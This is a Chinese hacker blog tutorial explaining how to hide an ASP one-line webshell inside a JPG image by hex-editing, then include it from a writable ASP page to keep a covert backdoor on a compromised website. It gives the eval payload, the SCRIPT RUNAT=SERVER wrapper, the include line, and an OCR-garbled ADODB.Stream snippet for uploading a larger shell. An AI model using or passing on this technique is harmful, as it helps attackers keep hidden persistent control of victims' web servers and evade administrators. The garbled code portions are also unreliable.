学习制作图片木马心得

大家好，我是雪糕，这是我的百度博客:

http://hi.baidu.com/%CE%D2%D7%DF%CE%D2%BF%E1，欢迎大家来玩哦

我们通常在得到webshell之后都想给自己留个后门，等下次或以后有用得到的时候再进来看看。但如果直接加入一句话木马<%execute request("value")%>到asp文件中时，在该页面上就会有类似如下的错误：

Microsoft VBScript 运行时错误 错误 '800a000d' 
类型不匹配: 'execute' 
/news1/show.asp，行 3
所以我们就可以开动脑筋了，使用插入一句话木马的图片做我们的后门。而且我们如果有足够的权限的话（希望网站中的文件可写），就直接把网站原有的图片变成后门，然后在那个asp文件中加入调用图片后门的代码：

<!--#include file="图片后门地址"-->
这样就没有上面的“类型不匹配: 'execute'”错误了，而且也更好的隐藏了我们的后门。
新挑战始终会伴着新事物的出现而出现，当我们直接将我们的一句话木马的asp文件改成jpg或gif文件的时候，这个图片文件是打不开的，这又容易被管理员发现。然后我们就又开始思考并寻找新的方法：制作可以显示图片内容的图片格式后门。
制作步骤：

一、前期准备
材料：

1.一张图片：1.jpg
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2.一句话木马服务器端代码：
<%execute request("value")%>（其他的一句话也行）

3.一句Script标签：

<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>一句话木马服务器端代码</SCRIPT>
4. 调用图片后门代码：
<!--#include file="图片地址"-->
工具：UltraEdit
[image: image2.jpg]€ Ultrakdit-32





二、开始制作：

1.使用UltraEdit打开1.jpg文件，然后按CTRL +F 进行查找图片中的“<%”和“%>”

其中<%的十六进制代码是3E 25，那么%>就应该是25 3E，但是我们只把25改成00；
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之后我们在新建一个文本编辑窗口，将我们的script标签代码
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT><%execute request("value")%>
</SCRIPT>
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复制进去，然后点击右键选择十六进制编辑命令，这样会跳转到十六进制数据窗口，
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复制所有的十六进制的数据，粘贴到1.jpg的十六进制编辑窗口的最下面，
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说明：为什么要粘贴到最下面？

假设你把srcipt标签的十六进制代码粘贴到中间的话，就会破坏图片的完整性，那样下面的图片就看不到了，但是插入的一句话代码还是起作用的。如图：
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最后保存退出。完成整个过程，我们的图片后门就做成。
[image: image8.jpg]



看到了吧，图片和原来还是一样的。
说明：为什么要把“<%”和“%>”对应的十六进制中的25改成00呢？改成其他的行不行？
雪糕猜想：因为在我们的一句话木马服务器代码<%execute request("value")%>中含有“<%”和“%>”们，但我们使用一句话客户端连接时，就可能发生寻找错误，然后就找不到我们的一句话服务器端代码了，所以要把图片中的相似结构改成其他的。我想25也应该可以改成别的，但还没实验过。
2.我们已经做好了图片后门，然后就是简单的配置一下了。
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如果网站的asp网页可以被写入，那我们就将<!--#include file="1.jpg"-->直接插入到网页中，这样这个网页的url就是成了我们使用一句话客户端连接的后门地址了；但要是不走运，那就自己新建一个asp文件，把<!--#include file="1.jpg"-->加进去吧（这里我新建了一个1.asp文件）。
好了，我们来测试一下吧。看看能不能用：
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http://127.0.0.1/test/1.asp可以看到图片。
打开一句话木马客户端进行连接：
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http://121. 0. 0. 1/test/1. asp

set 1P=server. createObject (" Adodb. Strean”)
1P. Open

1P. Type=

1P. CharSet="gb2312"
1P. writetext request ("liuyesi®)

1P. SaveToFile server.nappath("ic.asp"),2
1P. Close

set 1P=nothing

response. redirect “ic.asp”

WALANGUAGE="VBScript. Encode” CODEPAGE="936"%>
<htnl>

<head>

<neta httpequiv="Content-Type" content="text/htnl; charset=gh2312">
<title>iRBIRE, HAFEF </ title>




成功了，O(∩_∩)O~
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其实可以直接上传大马的，但我喜欢先上传小马，再上传大马。

补充：雪糕认为在UltraEdit中进行修改时，只要图片中没有一对很近的“<%”和“%>”就可以不用修改，单个的更不用，查找时一定勾选上“查找ACSII码”，不要使用十六进制查找“3E 25”或者“25 3E”，因为很有可能我们查到的3E 是上一句的结尾，而25是下一局的开始，这和我们的一句话代码“<%”不相符。“25 3E”同理。
好了，教程结束。
声明:本文章只做技术交流之用，如果你通过学习本文所做的事情以及造成的后果与本文作者无关。
